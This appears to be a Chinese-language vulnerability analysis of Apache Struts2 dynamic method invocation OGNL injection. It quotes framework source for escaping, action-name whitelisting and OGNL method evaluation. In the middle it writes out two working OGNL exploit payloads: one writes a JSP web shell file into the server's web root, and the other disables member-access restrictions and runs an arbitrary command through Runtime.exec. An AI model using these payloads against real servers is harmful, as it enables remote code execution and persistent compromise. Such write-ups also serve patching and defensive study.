protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) {
  this.invocation = inv;
  this.cleanupContext = cleanupContext;
  LOG.debug("Creating an DefaultActionProxy for namespace [{}] and action name [{}]", namespace, actionName);
 
  this.actionName = StringEscapeUtils.escapeHtml4(actionName);
  this.namespace = namespace;
  this.executeResult = executeResult;
  //攻击者可以通过变量传递、语法补齐、字符转义等方法进行绕过。
  this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName));
}

String name = key.substring(ACTION_PREFIX.length());
if (allowDynamicMethodCalls) {
   int bang = name.indexOf('!');
   if (bang != -1) {
     //获取方法名
     String method = cleanupActionName(name.substring(bang + 1));
     mapping.setMethod(method);
     name = name.substring(0, bang);
  }
}

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
  String methodName = proxy.getMethod();
 
  LOG.debug("Executing action method = {}", methodName);
 
  String timerKey = "invokeAction: " + proxy.getActionName();
  try {
    UtilTimerStack.push(timerKey);
 
    Object methodResult;
    try {
      //执行方法
      methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
    } catch (MethodFailedException e) {

protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\-]*");
protected String cleanupActionName(final String rawActionName) {
  //校验，输入过滤正则匹配("[a-zA-Z0-9._!/\-]*")，这是采取白名单方式，只允许大小写字母、数字等有限字符。
  if (allowedActionNames.matcher(rawActionName).matches()) {
    return rawActionName;
  } else {
    if (LOG.isWarnEnabled()) {
      LOG.warn("Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!",
          rawActionName, allowedActionNames);
    }
    String cleanActionName = rawActionName;
    for (String chunk : allowedActionNames.split(rawActionName)) {
      cleanActionName = cleanActionName.replace(chunk, "");
    }
    if (LOG.isDebugEnabled()) {
      LOG.debug("Cleaned action/method name [#0]", cleanActionName);
    }
    return cleanActionName;
  }
}

method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w=#res.getWriter(),
#path=#req.getRealPath(#parameters.pp[0]),
new java.io.BufferedWriter(new java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(),
#w.print(#path),
#w.close(),1
?#xx:#request.toString&
shellname=stest.jsp&
shellContent=tttt&
encoding=UTF-8&pp=/

method:#_memberAccess[#parameters.name1[0]]=true,
#_memberAccess[#parameters.name[0]]=true,
#_memberAccess[#parameters.name2[0]]={},
#_memberAccess[#parameters.name3[0]]={},
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w#d#res.getWriter(),
#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).
useDelimiter(#parameters.pp[0]),
#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?
#xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\A&ppp= &encoding=UTF-8

 private ProcessImpl(String cmd[],
            final String envblock,
            final String path,
            final long[] stdHandles,
            final boolean redirectErrorStream)
    throws IOException
  {
    String cmdstr;
    SecurityManager security = System.getSecurityManager();
    boolean allowAmbiguousCommands = false;
    if (security == null) {
      allowAmbiguousCommands = true;
      //jdk已经指定了参数来标识是否可以执行本地进程。
      String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands");
      if (value != null)
        allowAmbiguousCommands = !"false".equalsIgnoreCase(value);
    }
    if (allowAmbiguousCommands) {